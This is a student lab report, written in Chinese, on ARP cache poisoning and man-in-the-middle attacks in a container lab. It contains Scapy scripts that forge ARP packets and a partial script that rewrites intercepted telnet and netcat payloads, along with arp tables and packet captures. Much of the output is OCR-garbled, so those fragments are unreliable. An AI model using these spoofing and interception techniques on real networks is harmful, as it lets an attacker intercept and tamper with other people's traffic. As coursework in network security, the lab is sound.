# Chapter 4 实验报告

57118238 刘欣宇

#### Task 1.A 利用 ARP Requset 欺骗

#### 攻击代码如图:

```
1#!/usr/bin/env python3
2 from scapy.all import *
3
4 E = Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff:)
5 A = ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='00:00:00:00:00',pdst='10.9.0.5', op=1)
6 pkt = E / A
7
8 sendp(pkt)
```

#### 攻击效果如图:

### Task 1.B 利用 ARP Reply 欺骗

原来 arp 缓存中不存在该映射时,利用如图攻击代码,能够成功:

```
1#!/usr/bin/env python3
 2 from scapy.all import *
4E = Ether() \#dst = MAC A
5A = ARP(psrc='10.9.0.6', pdst='10.9.0.5', op=2)
6 pkt = E / A
7
8 sendp(pkt)
9
                             攻击代码
root@5d2762c6b2e6:/# arp -n
root@5d2762c6b2e6:/# arp -n
         HWtype HWaddress
Address
                                         Flags Mask
                                                           Iface
                   ether 02:42:0a:09:00:69 C
10.9.0.6
                                                           eth0
                             攻击效果
```

原来 arp 缓存中已存在映射时,攻击也能够成功:

```
root@85a4c0f79005:/# arp -n
Address
                         HWtype HWaddress
                                                     Flags Mask
                                                                           Iface
10.9.0.105
                                 02:42:0a:09:00:69
                         ether
                                                                           eth0
root@85a4c0f79005:/# arp -n
Address
                         HWtype
                                HWaddress
                                                     Flags Mask
                                                                           Iface
                                 02:42:0a:09:00:69
10.9.0.105
                         ether
                                                                           eth0
10.9.0.6
                                 02:42:0a:09:00:69
                                                     C
                         ether
                                                                           eth0
```

#### Task 1.C:

#### 攻击代码:

#### 无论 ARP 缓存中是否已经存在映射,攻击都能成功:

root@85a4c0f79005:/# ar	p-n			
Address	HWtype	HWaddress	Flags Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	С	eth0
root@85a4c0f79005:/# ar	p-n			
Address	HWtype	HWaddress	Flags Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	С	eth0
10.9.0.6	ether	02:42:0a:09:00:69	C	eth0
root@85a4c0f79005:/# arp Address 10.9.0.105 10.9.0.6 root@85a4c0f79005:/# arp Address 10.9.0.105 10.9.0.6	-n HWtype ether ether	HWaddress 02:42:0a:09:00:69 02:42:0a:09:00:06 HWaddress 02:42:0a:09:00:69 02:42:0a:09:00:69	Flags Mask C C Flags Mask C	Iface eth0 eth0  Iface eth0 eth0

#### Task2

## 每隔一段时间进行 spoofing:

## 攻击成功:

```
root@85a4c0f79005:/# arp -n
Address
                         HWtype
                                 HWaddress
                                                      Flags Mask
                                                                            Iface
10.9.0.105
                         ether
                                 02:42:0a:09:00:69
                                                                            eth0
                                                      C
10.9.0.6
                         ether
                                 02:42:0a:09:00:69
                                                      C
                                                                            eth0
                                    主机 A arp
```

```
root@2c01f17b2bc0:/# arp -n
Address HWtype HWaddress Flags Mask Iface ether 02:42:0a:09:00:69 C eth0
```

### 关闭 ip forwarding, 攻击成功后 ping, ping 不通:

#### 所有的 ICMP 报文都是 no response

#### 开启 ip forwarding, 攻击成功后 ping:

```
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: 1.cmp seq=1 ttl=63 time=0.511 ms
From 10.9.0.105: 1.cmp seq=2 Redirect Host (New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: 1.cmp seq=2 ttl=63 time=0.223 ms
From 10.9.0.105: 1.cmp seq=4 ftl=63 time=0.223 ms
From 10.9.0.105: 1.cmp seq=4 ftl=64 time=0.900 ms
From 10.9.0.105: 1.cmp seq=4 ftl=63 time=0.900 ms
From 10.9.0.105: 1.cmp seq=4 ttl=63 time=0.900 ms
From 10.9.0.105: 1.cmp seq=6 ftl=63 time=0.222 ms
From 10.9.0.6: 1.cmp seq=5 ttl=63 time=0.222 ms
From 10.9.0.6: 1.cmp seq=6 ftl=64 time=1.36 ms
from 10.9.0.6: 1.cmp seq=6 ftl=64 time=1.36 ms
from 10.9.0.6: 1.cmp seq=6 ttl=63 time=1.36 ms
```

	21 2021-07-12 03:2 10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0062, seq=1/256, ttl=63
	22 2021-07-12 03:2 10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0062, seq=2/512, ttl=64 (no respons
- 1	23 2021-07-12 03:2 10.9.0.105	10.9.0.5	ICMP	126 Redirect	(Redirect for host)
	24 2021-07-12 03:2 10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0062, seq=2/512, ttl=63 (reply in 2
	25 2021-07-12 03:2 10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0062, seq=2/512, ttl=64 (request in
- 1	26 2021-07-12 03:2 10.9.0.105	10.9.0.6	ICMP	126 Redirect	(Redirect for host)
	27 2021-07-12 03:2 10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0062, seq=2/512, ttl=63
	28 2021-07-12 03:2 10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0062, seq=3/768, ttl=64 (no respons
- 1	29 2021-07-12 03:2 10.9.0.105	10.9.0.5	ICMP	126 Redirect	(Redirect for host)
- 1	30 2021-07-12 03:2 10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0062, seq=3/768, ttl=63 (reply in 3
	31 2021-07-12 03:2 10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0062, seq=3/768, ttl=64 (request in
- 1	32 2021-07-12 03:2 10.9.0.105	10.9.0.6	ICMP	126 Redirect	(Redirect for host)
	33 2021-07-12 03:2 10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0062, seq=3/768, ttl=63
	34 2021-07-12 03:2 10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0062, seq=4/1024, ttl=64 (no respon
- 1	35 2021-07-12 03:2 10.9.0.105	10.9.0.5	ICMP	126 Redirect	(Redirect for host)
	36 2021-07-12 03:2 10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0062, seq=4/1024, ttl=63 (reply in
	37 2021-07-12 03:2 10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0062, seq=4/1024, ttl=64 (request i
- 1	38 2021-07-12 03:2 10.9.0.105	10.9.0.6	ICMP	126 Redirect	(Redirect for host)
1	39 2021-07-12 03:2 10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0062, seq=4/1024, ttl=63

## 实施攻击, 无论传输端输入什么, 都改为 L, 返回的输入不变:

```
del(newpkt[TCP].chksum)
# Construct the new payload based on the old payload.
# Students need to implement this part.
      if pkt[TCP].payload:
             data = pkt[TCP].payload.load
             newdata = 'L'*len(data)
             send(newpkt/newdata)
      else:
             send(newpkt)
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
# Create new packet based on the captured one
# Do not make any change
newpkt = IP(bytes(pkt[IP]))
      del(newpkt.chksum)
      del(newpkt[TCP].chksum)
      send(newpkt)
```

此时通过 Wireshark 抓包观察:

```
| Valodow size scaling factor: -1 (unknown)|
| Checksum: Scalifu [unwersided] |
| Checksum: Statics (unwersided) |
| Checksum: Statics (unwersided) |
| Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps |
| - Timestamps |
|
```

实际传输的 data

中间路由所伪造的 Data, 由于在 telnet 过程中修改了 ip\_forward, 在实验中发现在关闭后进行输入显示具有一定延迟, 直接显示为所伪造的字符 L:

```
[Checksum Status: Unverified]
    Urgent pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
    * TCP Option * No-Operation (NOP)
    Kind: No-Operation (NOP)
    Kind: No-Operation (NOP)
    **TCP Option * No-Operation (NOP
```

#### 返回的报文并未更改:

```
[Window size scaling factor: -1 (unknown)]
Checksum: doi:178 (unwer!fied)
Urgent pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
- TCP Option - No-Operation (NOP)
- Timestamp value: 3075728121
```

#### Task3

将使用 netcat 连接, 并运行攻击程序:

```
root@85a4c0f79005:/# nc 10.9.0.6 9090 ls seedlab i'm coming hello seedlab
```

## 攻击效果:

root@2c01f17b2bc0:/# nc -lp 9090 ls LXYLXYL i'm coming hello LXYLXYL